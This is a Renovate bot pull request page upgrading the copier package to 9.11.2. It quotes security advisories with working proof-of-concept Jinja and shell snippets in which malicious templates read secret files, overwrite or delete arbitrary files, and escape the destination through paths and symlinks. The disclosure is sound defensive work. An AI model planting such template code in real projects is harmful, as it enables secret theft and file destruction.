Skip to content

Conversation

@renovate
Copy link
Contributor

@renovate renovate bot commented Aug 18, 2025

This PR contains the following updates:

Package Change Age Confidence
copier ==9.3.1==9.11.2 age confidence

GitHub Vulnerability Alerts

CVE-2025-55201

Impact

Copier's current security model shall restrict filesystem access through Jinja:

  • Files can only be read using {% include ... %}, which is limited by Jinja to reading files from the subtree of the local template clone in our case.
  • Files are written in the destination directory according to their counterparts in the template.

Copier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use unsafe features like custom Jinja extensions which would require passing the --UNSAFE,--trust flag. As it turns out, a safe template can currently read and write arbitrary files because we expose a few pathlib.Path objects in the Jinja context which have unconstrained I/O methods. This effectively renders our security model w.r.t. filesystem access useless.

Arbitrary read access

Imagine, e.g., a malicious template author who creates a template that reads SSH keys or other secrets from well-known locations, perhaps "masks" them with Base64 encoding to reduce detection risk, and hopes for a user to push the generated project to a public location like github.com where the template author can extract the secrets.

Reproducible example:

  • Read known file:

    echo "s3cr3t" > secret.txt
    mkdir src/
    echo "stolen secret: {{ (_copier_conf.dst_path / '..' / 'secret.txt').resolve().read_text('utf-8') }}" > src/stolen-secret.txt.jinja
    uvx copier copy src/ dst/
    cat dst/stolen-secret.txt
  • Read unknown file(s) via globbing:

    mkdir secrets/
    echo "s3cr3t #​1" > secrets/secret1.txt
    echo "s3cr3t #​2" > secrets/secret2.txt
    mkdir src/
    cat <<'EOF' > src/stolen-secrets.txt.jinja
    stolen secrets:
    {% set parent = (_copier_conf.dst_path / '..' / 'secrets').resolve() %}
    {% for f in parent.glob('*.txt') %}
    {{ f }}: {{ f.read_text('utf-8') }}
    {% endfor %}
    EOF
    uvx copier copy src/ dst/
    cat dst/stolen-secrets.txt

Arbitrary write access

Imagine, e.g., a malicious template author who creates a template that overwrites or even deletes files to cause havoc.

Reproducible examples:

  • Overwrite known file:

    echo "s3cr3t" > secret.txt
    mkdir src/
    echo "{{ (_copier_conf.dst_path / '..' / 'secret.txt').resolve().write_text('OVERWRITTEN', 'utf-8') }}" > src/malicious.txt.jinja
    uvx copier copy src/ dst/
    cat secret.txt
  • Overwrite unknown file(s) via globbing:

    echo "s3cr3t" > secret.txt
    mkdir src/
    cat <<'EOF' > src/malicious.txt.jinja
    {% set parent = (_copier_conf.dst_path / '..').resolve() %}
    {% for f in (parent.glob('*.txt') | list) %}
    {{ f.write_text('OVERWRITTEN', 'utf-8') }}
    {% endfor %}
    EOF
    uvx copier copy src/ dst/
    cat secret.txt
  • Delete unknown file(s) via globbing:

    echo "s3cr3t" > secret.txt
    mkdir src/
    cat <<'EOF' > src/malicious.txt.jinja
    {% set parent = (_copier_conf.dst_path / '..').resolve() %}
    {% for f in (parent.glob('*.txt') | list) %}
    {{ f.unlink() }}
    {% endfor %}
    EOF
    uvx copier copy src/ dst/
    cat secret.txt
  • Delete unknown files and directories via tree walking:

    mkdir data
    mkdir data/a
    mkdir data/a/b
    echo "foo" > data/foo.txt
    echo "bar" > data/a/bar.txt
    echo "baz" > data/a/b/baz.txt
    tree data/
    mkdir src/
    cat <<'EOF' > src/malicious.txt.jinja
    {% set parent = (_copier_conf.dst_path / '..' / 'data').resolve() %}
    {% for root, dirs, files in parent.walk(top_down=False) %}
    {% for name in files %}
    {{ (root / name).unlink() }}
    {% endfor %}
    {% for name in dirs %}
    {{ (root / name).rmdir() }}
    {% endfor %}
    {% endfor %}
    EOF
    uvx copier copy src/ dst/
    tree data/

CVE-2025-55214

Impact

Copier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use unsafe features like custom Jinja extensions which would require passing the --UNSAFE,--trust flag. As it turns out, a safe template can currently write files outside the destination path where a project shall be generated or updated. This is possible when rendering a generated directory structure whose rendered path is either a relative parent path or an absolute path. Constructing such paths is possible using Copier's builtin pathjoin Jinja filter and its builtin _copier_conf.sep variable, which is the platform-native path separator. This way, a malicious template author can create a template that overwrites arbitrary files (according to the user's write permissions), e.g., to cause havoc.

Write access via generated relative path

Reproducible example:

echo "foo" > forbidden.txt
mkdir src/
echo "bar" > "src/{{ pathjoin('..', 'forbidden.txt') }}"
uvx copier copy src/ dst/
cat forbidden.txt

Write access via generated absolute path

Reproducible example:

  • POSIX:

    # Assumption: The current working directory is `/tmp/test-copier-vulnerability/`
    echo "foo" > forbidden.txt
    mkdir src/
    echo "bar" > "src/{{ pathjoin(_copier_conf.sep, 'tmp', 'test-copier-vulnerability', 'forbidden.txt') }}"
    uvx --from copier python -O -m copier copy --overwrite src/ dst/
    cat forbidden.txt
  • Windows (PowerShell):

    # Assumption: The current working directory is `C:\Users\<user>\Temp\test-copier-vulnerability`
    echo "foo" > forbidden.txt
    mkdir src
    Set-Content -Path src\copier.yml @&#8203;'
    drive:
      type: str
      default: "C:"
      when: false
    '@&#8203;
    echo "bar" > "src\{{ pathjoin(drive, 'Users', '<user>', 'Temp', 'test-copier-vulnerability', 'forbidden.txt') }}"
    uvx --from copier python -O -m copier copy --overwrite src dst
    cat forbidden.txt

This scenario is slightly less severe, as Copier has a few assertions of the destination path being relative which would typically be raised. But python -O (or PYTHONOPTIMIZE=x) removes asserts, so these guards may be ineffective. In addition, this scenario will prompt for overwrite confirmation or require the --overwrite flag for non-interactive mode; yet malicious file writes might go unnoticed.

CVE-2026-23968

Impact

Copier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use unsafe features like custom Jinja extensions which would require passing the --UNSAFE,--trust flag. As it turns out, a safe template can currently include arbitrary files/directories outside the local template clone location by using symlinks along with _preserve_symlinks: false (which is Copier's default setting).

Imagine, e.g., a malicious template author who creates a template that reads SSH keys or other secrets from well-known locations and hopes for a user to push the generated project to a public location like github.com where the template author can extract the secrets.

Reproducible example:

  • Illegally include a file in the generated project via symlink resolution:

    echo "s3cr3t" > secret.txt
    
    mkdir src/
    pushd src/
    ln -s ../secret.txt stolen-secret.txt
    popd
    
    uvx copier copy src/ dst/
    
    cat dst/stolen-secret.txt
    #s3cr3t
  • Illegally include a directory in the generated project via symlink resolution:

    mkdir secrets/
    pushd secrets/
    echo "s3cr3t" > secret.txt
    popd
    
    mkdir src/
    pushd src/
    ln -s ../secrets stolen-secrets
    popd
    
    uvx copier copy src/ dst/
    
    tree dst/
    # dst/
    # └── stolen-secrets
    #     └── secret.txt
    #
    # 1 directory, 1 file
    cat dst/stolen-secrets/secret.txt
    # s3cr3t

Patches

n/a

Workarounds

n/a

References

n/a

CVE-2026-23986

Impact

Copier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use unsafe features like custom Jinja extensions which would require passing the --UNSAFE,--trust flag. As it turns out, a safe template can currently write to arbitrary directories outside the destination path by using directory a symlink along with _preserve_symlinks: true and a generated directory structure whose rendered path is inside the symlinked directory. This way, a malicious template author can create a template that overwrites arbitrary files (according to the user's write permissions), e.g., to cause havoc.

Note

At the time of writing, the exploit is non-deterministic, as Copier walks the template's file tree using os.scandir which yields directory entries in arbitrary order.

Reproducible example (may or may not work depending on directory entry yield order):

mkdir other/
pushd other/
echo "sensitive" > sensitive.txt
popd

mkdir src/
pushd src/
ln -s ../other other
echo "overwritten" > "{{ pathjoin('other', 'sensitive.txt') }}.jinja"
echo "_preserve_symlinks: true" > copier.yml
tree .

# .
# ├── copier.yml

# ├── other -> ../other
# └── {{ pathjoin('other', 'sensitive.txt') }}.jinja

#
# 1 directory, 2 files
popd

uvx copier copy --overwrite src/ dst/

cat other/sensitive.txt

# overwritten

Patches

n/a

Workarounds

n/a

References

n/a


Release Notes

copier-org/copier (copier)

v9.11.2

Compare Source

Fix
  • updating: restore support for preserved symlinks pointing outside subproject
    (#​2427)
Security
  • disallow symlink-based includes outside template root
  • disallow symlink-following write operations outside destination directory (#​2427)

v9.11.1

Compare Source

Fix
  • updating: avoid circular reference when rendering JSON-serialized _copier_conf
    variable

v9.11.0

Compare Source

Feat
  • updating: allow updating a dirty Git repository when the subproject directory is
    clean (#​2369)
  • add support for custom question icons (#​2381)
  • add support for conditionally unsetting a question's default value
Fix
  • raise warning instead of error when chmod is not allowed
  • fix using default answers from settings for required questions (#​2374)
Refactor
  • drop support for Python 3.9

v9.10.3

Compare Source

Fix
  • updating: render templated skip-if-exists patterns before applying patch with
    excluded paths
  • updating: exclude only Git-ignored files when applying patch
  • updating: ignore paths added to the _exclude list in new template version when
    updating

v9.10.2

Compare Source

Fix
  • deps: remove prompt-toolkit version cap

v9.10.1

Compare Source

Fix
  • deps: cap prompt-toolkit to <3.0.52

v9.10.0

Compare Source

Feat
  • add support for nested multi-document includes in copier.yml (#​2251)
Fix
  • disable default answer validator for secret questions

v9.9.1

Compare Source

Security
  • disallow render paths outside destination directory
  • cast Jinja context path variables to pathlib.PurePath

v9.9.0

Compare Source

Feat
  • add support for prompting filesystem paths (#​2210)
Fix
  • updating: disable secret question validator when replaying old copy
  • vcs: fix cloning local dirty template repo when core.fsmonitor=true (#​2151)

v9.8.0

Compare Source

Feat
  • add support for providing serialized answers to multiselect choice questions
  • updating: add VCS ref sentinel :current: for referring to the current template
    ref
Fix
  • avoid infinite recursion when accessing _copier_conf.answers_file via Jinja
    context hook
  • validate default answers
  • correct git stage order on merge conflicts

v9.7.1

Compare Source

Refactor
  • import from module _tools instead of tools

v9.7.0

Compare Source

Feat
  • raise new TaskError exception on task errors
  • raise InteractiveSessionError when prompting in non-interactive environment
Fix
  • settings: use <CONFIG_ROOT>/copier as settings directory on Windows (#​2071)
  • updating: ignore last answer of when: false questions
  • restore access to full rendering context in prompt phase
Refactor
  • re-expose API with deprecation warnings on non-public API imports
  • rename internal modules with a _ prefix

v9.6.0

Compare Source

Feat
  • Add _copier_operation variable (#​1733)
  • context: expose a _copier_phase context variable
Fix
  • explicitly specify file encoding for windows (#​2007)
  • auto-detect encoding when reading external data file
  • settings: auto-detect encoding when reading settings file
  • cli: auto-detect encoding when reading unicode-encoded file specified with
    --data-file
  • expose only answers in question rendering context
  • ignore $file if $file.tmpl exists when subdirectory is used
  • decode external data file content explicitly as UTF-8
  • decode answers file content explicitly as UTF-8
Refactor
  • use common answers file loader

v9.5.0

Compare Source

Feat
  • external_data: load data from other YAML files
  • settings: allow to define some trusted repositories or prefixes
  • settings: add user settings support with defaults values (fix #​235)
  • add dynamic file structures in loop using yield-tag (#​1855)
  • add support for dynamic choices
Fix
  • correctly record missing stages in index for merge conflicts (#​1907)
  • allow importing from a file that has a conditional name
  • updating: don't crash when file is removed from template's .gitignore file
    (#​1886)
  • deps: update dependency packaging to v24.2
  • re-render answers file path when producing render context
  • restore compatibility with Git prior to v2.31 (#​1838)
  • updating: don't validate computed values
  • Don't mark files without conflict markers as unmerged (#​1813)

v9.4.1

Compare Source

Fix
  • restore support for preserve_symlinks: false for directories (#​1820)

v9.4.0

Compare Source

Fix
  • exclude: support negative exclude matching child of excluded parent
  • parse new answer when --skip-answered is used
  • validate answers to secret questions
  • updating: do not recreate deleted paths on update (#​1719)
  • support Git config without user identity
Refactor
  • set default value for keep_trailing_newline more idiomatically
  • drop support for Python 3.8
Perf
  • updating: avoid creating subproject copy

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate bot added the dependencies Pull requests that update a dependency file label Aug 18, 2025
@renovate renovate bot force-pushed the renovate/pypi-copier-vulnerability branch from c02b087 to f1f67f1 Compare January 22, 2026 01:08
@renovate renovate bot changed the title Update dependency copier to v9.9.1 [SECURITY] Update dependency copier to v9.11.2 [SECURITY] Jan 22, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

dependencies Pull requests that update a dependency file

Projects

Status: Do

Development

Successfully merging this pull request may close these issues.

0 participants